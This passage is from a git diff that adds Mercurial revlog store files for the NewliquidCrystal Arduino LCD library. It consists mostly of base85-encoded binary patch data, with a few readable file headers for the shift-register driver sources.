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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1_w.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1_w.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..32c16761f63912f84b59cbd15d6adf6eb2a52b9f GIT binary patch literal 2751 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 F60yCYUGD$@ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1_w.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1_w.h.i new file mode 100644 index 0000000000000000000000000000000000000000..e061f50df9c3259035cc55e9210cc1e4d368b3b6 GIT binary patch literal 5570 zcmV;z6+P+z0RRC20000002P7&079Pt0000000650|NsC0|NsA=Gizdnc1rdb9~T3? zas~Hv5DJ_C00000000000001Zob6ldciXm-|7`yi*!1jLYAspvJ4tg-Y*~(V>Q^ME z-k#ojd>|5%a7~d~0<_{=cmMXC89Yczl;d=h{j@r*Bay&hF!P%S2Eh8(7HfRF&pMFn zq=IV^ZXJbu2LH0*BO7Qjn~0coQ>msrX4|dyPNQ|uXzf#nWcHZK@kG;e)?lCFP^2tC zI`ToVAel~+Sg}Y3B36R!G+S@5pZy$ZoyuXRWfC_A6P}8rNZt$9>9FJ98iONfiH&b2 zQZbc`^c-3+_&&|Dx1xcRBtjKhxD4o2}5!~ zCFQYx++^bOEEP(zBxQ0si=+slwPHG9QY)4zG0LJC8;qa@k004AOJ|7^P0QH(k&Fa8 zm;aT?u#-M2&7-?PzkS=B7}>Wo#10!nso6Q#!30_(wZTM=bYG06(jed(4r98<$($u|9eJYZy&tAhjF=Z3 z{D&j7K?Wc_g=ARj=*SrUj(7l?inyI9wnj!HIZS!_=#?Nq?s0&+;*r!Kj5K+Wp+Skp zkqikGH;Qk_m7^+A2A~g-Dxq02LV7q#0??5_ZGmtyD$1lRU&j><6Yv;G4F&2dMAfM* zn2;m}LimZ~Q{ymF6tPgKAeA#5(GPar^IQP84_rok7sy)r=JRzDHy2SF1j z4FEFmr^P1AVi|&{?S$B%cYOu=5~<`-qZc=>dCH?mM2)LV*O7KvB?hkmfg)xAD!Vk| zGzp0(QpdsWS!eI{-l9$?Acvs{s{y-R1R zI9UD^)j1~uW}49>S`5-DGqRyrCrW~Q>SIx131%P|XaOXY9HWqON&ty5;DqRz?w};` zAVB5kSGPFQS?|LcwBxaoC}O7~bSGgbjnpHsZoPtQJxP;nj9LWa2TlPO0iW?e;?Z5RXz<4TI+5V%8%O=@_O5f@J?cAh&MbPd@q6}hHB5*)5d}kr-)0z`l_GYREa^GS zecU)>5ani>ZW^mxYOzJEJHTs<+-8Jq<_R14qnx5-ECcpx46;ngjWhAUXR^N+YXZwurBc#%)}d-bzqKh4^NDN0OApbMlVc` zVF`y&c~;bJ;zW#M!5eV4(cWnKx7+YmHzKmzb&Z2WCbcNZ8yRAEz~P0kpal2cM;DM5GA#}bV_OT)Czos9DC z9VwEfs|rJ~;8MG`W26{ie}|zKp&Sg?7u5z&2&*QG#KU zM%27=CWZ)Ol^!0`_!9VNc$5n8wSoFCDY)G(0w|wD1xyGd%7@D`neCN8@!@q9R!Fh% zZ3bQ}zDGSEA_}y3R$~V6FoOgdbAAqqPB!xfYa=%Lb!-7|7Gi^i4jPwXfLtybDtyUe zEh7L-%3|=QES5uvkz2z@$Ve(2RgS3kE;&myKU@ZpwNgy4B2`F)+2AWedSwo|BH^u$ z_Lexse4l;B#&7#9&_r}qNDT%GYT66NO1_Qpyy$~~7B`Cx| ztH&*HbLgW;{PkiOU-Ux@p}b;5id^703O=bcP>}=gl}uu0ax6;H%|aZ~!iXqN`8}vF z!^(~}#T{6^xp=pnGkh^L`dK@u;=H~`>M=LotK|JxBpkQKKT()o^eJRSSfb)Evai3m zNtDtC@7qfW$%_NQl4M}$rPSm5M8#)=;%hG;Z^av}4R%P@pjZtiLknww1xGtnN`gPC zmqR+NSm%OF!7y8_6_`0dTtZx{Ndmc-6^TJ14NKN)CIh3Z)z(y4+9sI#(4ul-osG$d z^%!#ky^DLPXxPN-d2?M(8PG}#id&Vpd9Pp-x2kNdH1z7st>7-&+s}j8IMOkeFP5-O ztN0R*VXeCWV@x_cju$%Mj7m-c6^-%n#o^w>)llHF4bdAU=`2aH-cdttr-G^xG8A0- znj{qmGI&estF;?cJ`IvM5Hnr3!D*uP?9JBJd_Hfc$&|;#2-2b^gw`$6O1nAHQ*6mS zo$|Vw-#oGfbcqYrkGetV9X?O|w|A2cC>Dq(c9ii$f@IGzeS}A5RINJB?j79Z+n> z6vj-p$p#5!6i5~KHpCRBZL&R}-`;DqcXq6QwYqWU8YGJ9HXPRn;|Q^Tx!c}7#C%T4 zsRY>64FH%u|5R)=PUXxgl?;3m|e zj%}VwDZdb*K}%$!IkrJeSvS6znM`E8YB#CgL!1Ff&Ii!> z3_H_?4ML8VmbT>*h-v^B6!g#+e(QzURig@EftHV;HQYw4a#ZydB$29#lSi@JfKuLN zxT3SQIDn&tUiUvc-Rqme)LiAXUcg$%7Nc(-XPC`6JF~ktG@%!4%@#L&Xg@8on}Z7p z0C-5Z_a#2hB5sy=&|wJvhom$y6-}I;;mjBsxc&muOEqs+J2jR(1n5iv8JOi!6$@md zUowlTX_YdOg^!ypsTxbXs~i7>c#Qfji-;t*b0b0 zHQM{OHxYY!!oRf-mnZeS`+lkWHgxaMC?AiY`<@;0DQ~}5YQF>RPq4+H+lThM_Aw0i zJ9r?Q5c~rkF1|PBYCP6 z7=Db)FKVLrw)33Fspj$-YbYwlve`IpJpBz8UDwZ{cGbYo4rM+ya%pw;&i?Lxmr?9k z*1b44XdU)a@f1uwnU~@LMF|z*)4viL{tqI*(j$x;_G5WF2BO( zE29K{79+*i#tHl^c$^nTie=C5T-jp#>SVxc*4GyA2<0YRQ>=4%S;jN44#Y{*l_Xk|%N51;EbiNLctMD}R zdp4*)-0Z-#c`i&jEs0?z3Q0cgabQ_Dm70nOd5yrGxJm`&&%zWtjx+VhP9r`BD>~gY z>nc1o0Dc6A#U+NLI5edyQyCMsUT6#7uy(Q45F`q#VL8pF?nDCC6k(O6bc$z#l-s(Y z!#+q7i&PxzATZF>pA3??FwO8K%>qWj+70c}2($Z43kKw7VciTX>$rjs9zV|cBaD6u z@Q#!DCd`6rAy`;=v^CchHw0lCSc~$2T%FMD#P|Xy{(w~x?l>&$Kr2Z*-@q&tc5#ts7g8`i zBwJV&8%9#Qi8<(R-=Z#2N57cu7}SGVFcwZn&66y`!%GM}TyZ(2k)|eoMaKS_DHA`j zW;>4;4rBR~57R`Agf{0@Ts7vbco2$2kBj=L{1;57d>+cKZgKfs5IP={xyiSS^BCWm z2tKn5K%zUNpdY5(lo`LxqVSndbyiR_=f*-Y160v|1X%1QYqwg-WQwL}je#jX5_!0W z(8pu&z37B~&rbq^_x7oOv2DQh#I{~?PG53;FKF{@T3V!oA)CrK^~Ip`rNpzG2fu`= zm!y_orc-d(%xy)0`^2iBm%8*7mE!S6L?Z4~XDODy*$7~2d=TZ8`M^02!8PO2U{LexddmJNYZnE`L5Wo*F;H%IET+ z)oQWR?#)Z`kC*T^_)ZA_P(nB60u}JK&KpmgB$4K0fe1GnHkgu__+CJH7Dc%+*p17% zGy%<@Q!k}Mn`Wnh(iJOPztQh9r97ljHUwcYW~Ea38BKy1!8;z!)BW( zcNR<{h*=n>5G7g%B`NTK;{MAFQ<9VquaYYUO05zpAr=XNm^jGtEmyg+ayTo zJD8mz7DRlKOx*Vg_p z^e<$PCQ5*kLRBkut-ob)Ha(#g$WK4LWq&TH*PchirP}vXaf$a&m!AgRle>$f!7ppA z&#m?vu1~=6XEAMD0Vg#@S26HJnc3=mqy%1(U&ez7#wnq_(v27tTvi zzuH}RwU@s-TzIwXU$tB1SI6i6)%L=x{=mQ5U3k^K^sf$EYi_H1X)mscH?1b-4&G1{ zPTT2xtIHm*D$_r@xw`0e?r!_No9^BD)om>m<4r)By05RfonLD9N54C`xxzn3 zH{Ck>gZ&8Y*?+ua|BYP`HLIy(`20)cpWZP?eSIBW6uLSAXoUu@rn;HOuRoc-Q)zpC zX9F4TAHH2*H@DfAFCDTskRl8t8PJC7AM57Fn{{v%TR;9A{=?o+1*UqGPM8OLh{c6K z!*@&u>?Og$S?~0Q^}8Q>gPU&OmLRf#l4WO1s%e$pG8E=Pcy4g5^F=)a0_WW zpE8wV8k2`jJI zPCGs37BjM1FDQx%xp<<1LDsrNe}x*oN^;UuI&9x!z(3ydjT`?GX@b|Si!wK|&PQOi zl9-v5^DLDQ;2hp83H&*)-18n#c>$7}jUW@?xta=6|8f^|c{+(la-5~yT%ui=4|?9h zJYMQhDjdhMmvKbVeXAUj=(bsfZ&@uKy6aeZOdHfMVmee_I9Y41G0!0qgc_?YbNQp=)BW;Hnmj$=rrhk08oT4W!g7U&lPiXd5+34+ z1vAbEAIap-PZ>1hPGG%dlw!I~G1nA*2ei7t9K?~RP-r>du(0FCmToq11@v|RcCj2T>t<8 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r2_w.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r2_w.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..4a6b6ce575d19117c7e2e1911ba690ecf395bd1b GIT binary patch literal 2205 zcmV;O2x9jD0RRC20000000wXX01rw400000005l-|NsC0|Ns9@7bM{k8F5l4bx?Er z%vo+#OcLz?00000000000001ZoV8bNQ`<%m{%rk4a~P?^N9h#|`=KefA_7Xh_>>sXl;wx3|0Z?6WW0-KCw!dxG6v8s<_s8SnOE zk>NirHZ)LaN@p_9H}t&Qd%n}%+v&aZvL@T)>T>D)I_=Q8j%7{}t5DaHBC}cz;M(>16k;{Int|SeIH28HV>_d`;XG>+tn#8RkL3mG!Tr0bT zZ%>59!jm?wm0Oy^k(1F-xwA-{ve#&xbEt#CuDod4& zA#KSSQqEFgWm2S?1rkUIy`ikgGh=0E>lp4CQz#O-Pp5{LMxUJ2u~?*7`BmCV@O`3E zNyqB9LdC;;W1UFn;q>`MC(5!CMy+K8n}U|{ix;n6cj9Jvi zfp$udaz6K%Tv9i=9^YLlBUM0Axx@tH|!k!B`s1)qb4(jaqldu}W5CEC<$Q({NUsZ+Pq00#8Yp6Qt!f3k&+a^+{F+jEjXLh5kQE>Zc*?UGI+~?h z(Yk3{`2Ot_;oZ9lQpnrVg(fV0!fY2dCs;y~H~k(R9MEBZ)~6Qz1nTxK=F@O~(hq;3 zed@lc_^py!`nv=AFgc&jQ5-^Q@$ToK3{sV+mHL}f*XXp=bwh*#QKHEx-}B@Fi&cjfJlbynRc1-!y+rS51tD5l>ba-6HnSkI0k=@EQ$NOBwURN|K0U zq@h>fwSowmSV8Gg|Kk+H7B+STw(1 zCfAlrPfL!iIccnSgWl2JtD>C345n;}GWESg5I+i>b6>Rb3;L0#J)OqI{LZK$EZA4T@M=wWQ(ezTa)^rB=O+bQPFZbRi>w4>zx3bjl49vkdoQP7p6AU1yuy)jdEsaOMxq zmXO*200006Z~y=R00FH401!U_00000005u>00030|NsA+k97b5uvB}?PO5aY z{5?DX00000000000001ZoQ0B2Zqq;*h6ff@<4PQW)w=>mf;K-?3OFrFn<7;>t%xJB zw8r*08Feya*<%`ua0RwpgAM0k!68_&;0BECHmp)Cz0x;}=b85#nUIISNRtP9hll8Q zd;Np%;Gq8sh%%n%Rm3v9z+18A351Gup7YqCEI4$Eqjj%~ROd)|%1UYMtPC70+V#0g z-(bZ|yyOLRE*3&D3I9E$h;o)!o%`Ung{d-at00*5KUh_9UEeMghhi&U+{edDrWV$4 z*EVADwG@k`L1CETFdAApggp9Y^P3PdqG2M6OtLC1RcwS-IEH^V316OG%%@kAb8MPp z&%e05n~&DR$<;jYYR?}+_MTbKfNrmHJ05Jsf}8)=aK767u=tRcLYZM`u&Smy;kJZ} zRWlr8GMAD}8EICe2(Cgr7YpRpSnb|)GN<@+54*l#nJ2j&b20JxU f-~7`M^4PaYZL=qo-Zr*7HRP$^aGvuQO#{P->3>Eu literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r2_w.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r2_w.h.i new file mode 100644 index 0000000000000000000000000000000000000000..1834c876e7fef2c5af5871038e4d33dcf37a10b9 GIT binary patch literal 3238 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 YqL5maS_IOYoROH9o|?i10Mx%p>Thu-RsaA1 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r3_w.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r3_w.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..3e0b373b6e39b71e12272c2770666fe84be8fbfa GIT binary patch literal 4378 zcmYk8XEdB&w8lqgvI6YV^j;!LbTW)!2txE0VnjDuw1gmP zB1DOr(YfK~u66g9-(K%|&f3rOo-Z4K2fzc|6i^QUV4MBl9*}(XuYB6VM!LXkpV@+f zx7mS`>Vf24=KnM|@JEd>UU<%8_xTV5M?W`fk&el_Zt;1?@V7WOub|N0e89~6OM zfQ)|7Ws(R9JIl4G{umzIknI;}TKDzC!M%F%dfac3ExCD<+4&e5UIZ0<)*8KTZ|%!UNvLx7%)CSp{be&D1ERV(*l*#-TQDZNM+O$^*Q`}AH)S*zeHa2{av zB0AACX=ze_m$CR^ympKct zw&-*NZg30vkKmDa8>*V=idCay3ew%Fpy4CZuCFrM}1{;6x04;rhL}Rd>iAgd7+CePj~- zvbNAg$PnseFX_RN{bCZfo@QPI&@7hJ@QfK(Ri?pQf=oH|y~~i>^y~VkqL8-SeF1;% zdUI8~)@&jT!^Ky=#9B>aN>WiVZ3}c?2bBZSe5NYKk~8t%Q^9+jWEb}necZ$<=lxc3 z{vB%+OeBzj;jy7ivJAW&;}71r#7T%X9Z0PmH0L!(&y#S%ed-5ME8l zO0QHlf?xOL7tLFBXz%okuzMkf#O++a%@nrL*tQM%WJck5z(E2)4be^oYBw_9Th0e_ z?&);p95x?T(=QquFK0qK>5S>&Ho)cLEYFH(_D$OP3nSUu#}YzH(O!$hSDgvikzmQ> zGbFzcBxJI6rpNTugs_S=;LZZyHkpN0o3M7wD~1FgjDajcPzj%8_aHpd`H8&TV?TM+pT+!_WK_9x>d2BcYvoq_sHTHL!jIcop-KFeMama$ zm`iBAtU35Z|4&bqeT0P60SR#dg(MdigvSk&=Fi0D+sHelR!_#8@;x(NVU$!hE}-O0 